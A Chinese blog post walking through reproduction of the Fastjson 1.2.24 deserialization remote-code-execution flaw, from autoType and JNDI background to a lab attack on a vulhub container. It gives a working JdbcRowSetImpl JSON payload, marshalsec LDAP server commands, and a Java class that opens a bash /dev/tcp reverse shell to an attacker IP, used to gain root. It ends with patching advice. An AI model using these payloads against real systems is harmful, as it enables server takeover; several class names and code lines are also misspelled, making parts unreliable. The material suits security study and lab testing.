本文最后更新于 2024-08-24,文章内容可能已经过时。

Fastjson1.2.24-RCE漏洞复现

1、漏洞简介

​ Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean(java的对象)。即fastjson的主要功能就是将Java Bean序列化为JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

​ 阿里巴巴公司开源java开发组件,Fastjson存在反序列化漏洞(CNVD-2022-40233)。攻击者可以利用该漏洞实施任意文件写入、服务端请求伪造等攻击行为,造成服务器权限被窃取,敏感信息泄露等严重影响。

​ 该漏洞影响Fastjson 1.2.80及其之前所有的版本。

2、漏洞原理

2.1 原理概述

​ FastJson接口简单易用,已经被广泛使用在缓存序列化,协议交互,web输出、Android客户端等多种场景,但是,从诞生之初,fastJson就多次被爆出反序列化漏洞,这都和autoType有关。

​ FastJson在解析json的过程中,支持使用autoType来实列化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找该代码中相关的方法,即可以构造出一些恶意利用链,造成远程代码执行。

2.2 FastJson

​ Fastjson是阿里巴巴的一款开源的JSON解析库,可以用于将java对象转化为JSON表达形式,也可以用于将json字符串转化为等效的java对象。

常用的三个方法:

parseObject(String text,Class<T> class)		//把json文本parse为javabean对象

parseArray(String text,Class<T> class)		//把json文本parse成javabean集合

toJSONString(Object object)		//将javabean序列化为json文本

示例:

idea创建好maven项目后,pom.xml导入fastjson:

<dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
</dependencies>

User类:(定义get和set方法和printUserInfo打印方法)

package org.example.fastjsontest;

public class User {
    private String username;

    private String userid;

    public User() {
    }

    public User(String username, String userid) {
        this.username = username;
        this.userid = userid;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getUserid() {
        return userid;
    }

    public void setUserid(String userid) {
        this.userid = userid;
    }

    // 打印username和userid
    public void printUserInfo(){
        System.out.println("username="+username+",userid="+userid+";");
    }
}

创建一个main方法

package org.example.fastjsontest;
import com.alibaba.fastjson.JSON;
public class Main {
    public static void main(String[] args) {
        // 简单的java类转json字符串
        User user1 = new User("admin","u0001");
        String UserJson = JSON.toJSONString(user1);
        System.out.println("简单的java类利用fastjson转换为json字符串:"+UserJson);

        System.out.println("--------------------------------");
        /*json字符串转简单的java对象*/
        /*字符串:{"userid":"u0002","username":"jack"}*/
        String jsonString = "{'userid':'u0002','username':'jack'}";
        User user2 = JSON.parseObject(jsonString,User.class);
        System.out.println("json字符串转换简单的java对象,执行printInfo()方法:");
        user2.printUserInfo();

    }
}

执行结果:

image-20240824120458901

2.3 AutoType

(造成漏洞出现的地方)

​ Fastjson的主要功能就是将java Bean(即Java对象)序列化为JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了,但是fastjson在序列化及其反序列化的过程中并没有使用java自带的序列化机制,而是自定义了一套机制。即AutoType机制

​ 对于JSON框架来说,想要把一个Java对象转化成字符串,可以有两种选择:

1、基于属性

2、基于setter/getter方法

​ 而我们所常用的JSON序列化框架中,FastJsonjackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gjson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化为json,我们对java类进行序列化的时候,fastjson会自动扫描其中的get方法,将里面的字段值进行学历花带JSON的字符串中,当类包含了一个接口或者抽象类的时候,使用fastjson进行序列化的时候就会将子类型抹去,只留下接口(抽象类)的类型,反序列化的时候就无法拿到原始的类型。

​ 但是使用SerializerFeature.WriteClassName进行标记后,Json字符串中多出来一个@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体的类型,这个就是AutoType机制的工作原理,和引入AutoType的原因。

例如:

package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class fastjson{
	public static void main(Srting[] args){
		Student student = new Student("lnl",23);
		System.out.println(JSON.toJSONString(student));
					System.out.println(JSON.toJSONString                                       (student,SerializerFeature.writeClassName));
	}
}

有没有参数SelializerFeature.WriteClassName的结果就是不一样的,结果很明写有@type在开头,并进行了json格式的输出。

image-20240822021559243

​ 因为有了autoType功能,那么fastJson在对JSON字符串进行反序列化的时候,就会自动读取@type的内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。那么就可以利用这个特性,从而构造一个JSON字符串,并且使用@type指定一个自己想要的攻击类库,从而实现恶意代码执行。

2.4 JNDI 注入

JNDI是什么

​ JNDI全称为java命名和目录接口,我们可以理解为JNDI提供了两个服务,即命名服务和目录服务。

命名服务将一个对象和一个名称进行绑定,然后放置到一个容器里面,当我们想要获取到这个对象的时候,就可以通过容器来查找这个名称,从而获取这个对象。

​ 目录服务就是将一些对象的属性放置到容器中,然后想要操作这个属性的时候,就通过容器来进行查找。

​ 对比一下命名服务和目录服务,其实命名服务就是绑定对象,而目录服务就是绑定了对象的属性,在JNDI中,命名服务和目录服务是一起结合提供的,最容易理解的一个例子就是RMI

​ 在RMI的服务端,通常我们会将一个远程对象和一个名称进行绑定,然后将其注册到注册表里面,除了通过RMI来实现客户端从而获取到对象之外,还可以使用JDNI来获取对象。JDNI其实就是对这些提供了命名服务或者目录服务的逻辑进行了一个封装,列如上面的RMI,我们可以直接调用JNDI提供的lookup函数来远程获取。列如:lookup("rmi://127.0.0.1/bind");如果提供服务的是LDAP,我们同样可以通过lookup函数,列如:lookup("ldap://127.0.0.1/");来进行访问。

JNDI注入和lookup函数

​ 我们可以直接在lookup参数指定url,列如:lookup("rmi://127.0.0.1:1099/m1sn0w"),由于JNDI存在一个动态地址转换协议,也就是说当我们在lookup上指定一个URL的时候,就会优先于Context.PROVIDER_URL的设置进行加载。

​ 至此,我们可以想到,如果这个lookup参数可控的化,那么我们就可以传入恶意的url地址来控制受害者加载攻击者指定的恶意类;当我们指定一个恶意1URL地址之后,受害者在获取完这个远程对象的之后,开始调用恶意方法,但是在RMI中,调用远程方法,最终执行的是服务端去执行,只是把最终的结果以序列化的形式传递给客户端,也就是这里所说的受害者,当然,如果受害者内部存在漏洞组件存在反序列化的漏洞的话,我们可以构造恶意的序列化对象,从而返回给客户端,当客户端在进行反序列化的时候,可以触发漏洞,如果目标组件不存在反序列化漏洞,我们返回一个恶意对象,但是客户端本地没有这个class文件,当然也就不能成功获取到这个对象。

2.5 RMI(远程方法调用)

RMI(Remote Method Invocation)远程方法调用,是专门为java环境设计的远程方法调用机制,远程服务器实现具体的java方法并提供接口,客户端本地仅需提供接口类的定义,提供相应的参数即可调用远程方法。

​ 1.运行了RMI的一段可以被称为“RMIServer”,用来提供可被远程调用的方法,这个过程称之为“注册”。

​ reference的功能已经在前面简单的介绍过,作为一个外部远程对象,目的是让客户段来获取RMIServer上的引用对象,指定了codebase,也就是远程的地址,以及要读取的factory类名,剩下的就是客户端来主动请求。

​ 请求的方法是通过http,就需要在192.168.76.133上http服务,并把已经编译好的serilalize.Exploit.class放到响应的目录提供客户端获取,这里就提现到了RMI的核心,RMI核心的特点之一就是动态类的加载,如果当前JVM中没有某个类的定义,它可以从远程的URL地址桑去下载这个类的Class。

​ 2.运行了lookup()方法的一段可以被称为“RMIClient”,根据RMI请求返回的结果来再次通过Http获取所需的factory类并进行实例化。

2.6 JdbcRowSetlmpl利用链分析:

(本次漏洞复现使用的就是这条链进行对应的反序列化)

​ 在fastJson中我们使用JdbcRowSetlmpl进行反序列化的攻击,下面我们JdbcRowSetlmpl利用链分析:

​ JDBC(Java DateBase Connectivity)就是java数据库链接,说白了就是利用java语言来操作数据库。原来我们操作数据库是在控制台使用SQL语句来操作操作数据库,JDBC是用java语言向数据库发送SQL语句,分析如下:

​ 1.找到dbcRowSetlmpl中调用了lookup()方法的函数

可以看到在com.sun.rowset.JdbcRowSetlmpl.class中的connect()中调用了lookup(),并且loolkup的参数是通过getDataSourceName()方法获取到的,可以看到在实例化jdbcRowSetlmpl()方法获取到的,可以看到在实列化JdbcRowSetlmpl的时候就会调用

image-20240822025517864

从Java的函数文档可以查到DataSource是通过setDataSourceName来设置的,也就是dataSource属性的set和get方法。

image-20240822025723634

所以这里就同时出现了get和set方法。

2、找到了调用lookup方法的函数,下面就进行分析那个函数能够触发lookup方法

(1)prepare()函数

image-20240822030006523

image-20240822030015946

这个函数的利用是exec()–》prepare()–>connect(),也就是执行excute()方法才会执行到底,connect(),所以这个利用链使用的不是这个函数。

(2)getDatabaseMetaData()函数

image-20240822030309465

这个地方出现了connect函数,但是并没有set的方法,所以这个也不能成功利用链的一环。

(3)setAutoCommit()函数(构造攻击链的关键)

image-20240822030419234

setAutoCommit(),方法使用了connect()函数,传值就是一个bool值,这个AutoCommit就有set方法,也有get方法,

image-20240822030614806

这个set方法很重要,只要是能设置autoCommit就可以调用set方法,而setAutoCommit()里面又调用了connect()connent()里面就有我们想要的lookup(),从而构造整个攻击链。

2.5 JdbcRowSetlmpl利用链

​ JdbcRowSetlmpl利用链的重点就在怎么调用autoCommit的set方法,而fastjson反序列化的特点就是会自动调用到类的set方法,所以会存在这个反序列化的问题,只要指定了@type的类型,就会自动调用对应的类来解析。

​ 这样,我们就可以构造利用链,@type的类型为jdbcRowSetlmpl的时候,jdbcRowSetlmpl类就会进行实列化。那么只要将dataSourceName传给lookup方法,就可以保证能够访问到远程的攻击服务器,再使用设置autoCommit属性对lookup进行触发就可以了

​ 整个调用利用过程如下:

​ 通过设置dataSourceName将属性传参给lookup的方法–》设置autoCommit属性,利用SetAutoCommit函数触发connect函数–》触发connect函数下面的lookup函数就会使用刚刚设置的dataSourceName参数,即可通过RM访问到远程服务器,从而执行恶意指令。

​ Exploit例子如下:

{
"@type":"com.sun.rowset.jdbcRowSetlmpl",     "dataSourceName":"rmi://192.168.17.39:9999/Exploit",
"autoCommit":true
}

值得注意的是:

  1. dataSourceName需要放在autoCommit前面,因为反序列化的时候是按先后顺序来set属性的,需要先setDataSourceName,然后在setAutoCommit
  2. rmi的url后面跟上要获取的我们远程的factory类名,因为在lookup()里面会提取路径下的名字作为要获取的类。上面例子中的Exploit就是编译好的class恶意文件。

2.6 漏洞调用链触发过程图

image-20240824111320957

3、漏洞复现过程

3.1 实验环境:

​ 本次漏洞复现实验在Windows环境下使用idea编写相应的java程序来进行Apache log4j2 远程代码执行漏洞进行模拟。(fastjson利用起来和log4j2漏洞很相似,所以就利用log4j2的实验环境,加上fastjson插件就可以进行复现。)

  • jdk-8u65
  • fastjson1.2.24

kali(攻击机:192.168.91.129)

3.2 实验过程:

使用idea创建一个Maven项目,在pom.xml文件中引入fastjson插件依赖,指定版本为1.2.24

<dependencies>
	<dependency>
    	<groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
</dependencies>

模拟攻击的服务器

创建一个Exploit类,执行Windows命令打开计算器。

public class Exploit{
    static{
        try{
            Runtime.getRuntime().exec("calc");
        }catch(IOException e){
            e.printStackTrace();
        }
    }
}

使用javac Exploit.java进行编译,

将编译后的exploit.class放到kali中,在kali中开启http服务

// 切换环境为python2:
sudo ln -sf /usr/bin/python2 /usr/bin/python
//开启Http服务(默认在8000端口)
python -m SimpleHTTPServer

//或者切换为python3开启,指定8000端口
python -m http.server 8000

image-20240824130212348

在攻击机使用 marshalsec-0.0.3-SNAPSHOT-all.jar 开启服务,

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.91.129:8000/#Exploit" 6666

image-20240824130313132

模拟受害者服务器在受害者的windows机器上运行java代码

package org.example.fastjsontest;

import com.alibaba.fastjson.JSON;
public class Server{
    public static void main(String[] args){
        String Poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.91.129:6666/Exploit\",\"autoCommit\":true}; }";
        JSON.parseObject(Poc);

    }
}

运行后弹出计算器。复现完成

image-20240824131940124

4、靶场模拟复现

4.1 实验环境:

被攻击服务器:

主机:Centos7 (192.168.91.128)

靶场环境:vulnlab/fastjson-1.2.24-rce

攻击机:

主机:kali(192.168.91.129)

使用工具:

marshalsec-0.0.3-SNAPSHOT-all.jar

下载地址:

github:https://github.com/RandRomRobbieBF/marshaisec-jar/

csdn:https://download.csdn.net/download/Fly_hps/12409277

工具使用参考:
https://blog.csdn.net/Fly_hps/article/details/106061464

4.2 实验过程

  1. docker拉去镜像环境:(cd到vulnlab/fastjson-1.2.24-rce目录下)

docker-compose up -d

  1. docker ps查看,启动环境并访问成功

docker ps

image-20240824133330001

image-20240824133428199

  1. 打开burpsuit,对页面进行抓包,发送到重放,改变方法为POST

image-20240824140243135

x-www-form-urlencoded改成改成json,在下方填入payload

  1. 添加请求正文(payload),使用DNSLog进行验证:

    首先用DNSLog请求一个子域名:

    image-20240824141510500

{
	"a":{
	"@type":"java.net.Inet4Address",
	"val":"pt1ht7.dnslog.cn"
	}

}

填入payload后,前面添加字段进行试探,

image-20240824141440420

image-20240824141414835

刷新后,dns有结果,说明可以利用

  1. 编辑恶意类poc,以反弹shell为例子,而后使用javac命令进行编译后放入kali中

    POC代码如下:

public class Getshell {
    static{
        try{
            Runtime rt = Runtime.getRuntime();
            // 反弹shell到kali
            String[] commands = {"bash","-c","bash -i >& /dev/tcp/192.168.91.129/4444 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        }catch (Exception e){
            // do nothing
        }
    }
}
  1. kali开放http服务,模拟将Getshell.class公开在网站上
// 此命令适用于Python2
python -m SimpleHTTPServer

image-20240824142735080

image-20240824142942711

  1. 使用 marshalsec-0.0.3-SNAPSHOT-all.jar 执行如下命令开放LADP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.91.129:8000/#Getshell" 6666

image-20240824143013131

  1. 修改burp中的请求正文,模拟受害者下载恶意代码并执行
{
	"b":{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://192.168.91.129:6666/Getshell",
	"autoCommit":true
	}
}

image-20240824143524542

kali中开启nc监听4444端口,然后burp点击发送

image-20240824143617781

image-20240824145510059

成功反弹回shell,至此复现成功。(ps:这里一开始反弹失败了,是因为poc代码的java文件我是在windows下javac编译好放入kali中的(windows下编译的class文件放入linux系统中可能会失效),在kali中直接javac编译后再次执行后成功反弹Getshell)

image-20240824145718130

可以看到直接是root权限。

5、修复建议

修复的方案如下:

方案一:建议升级fastjson到最新版本。

方案二:safeMode加固

​ Fastjson在1.2.68及以后的版本之后引入了safeMode,配置safeMode后,无论白名单还是黑名单都不支持autoType函数,可以杜绝反序列化Gadgets类等变种攻击。

方案三:升级至Fastjson v2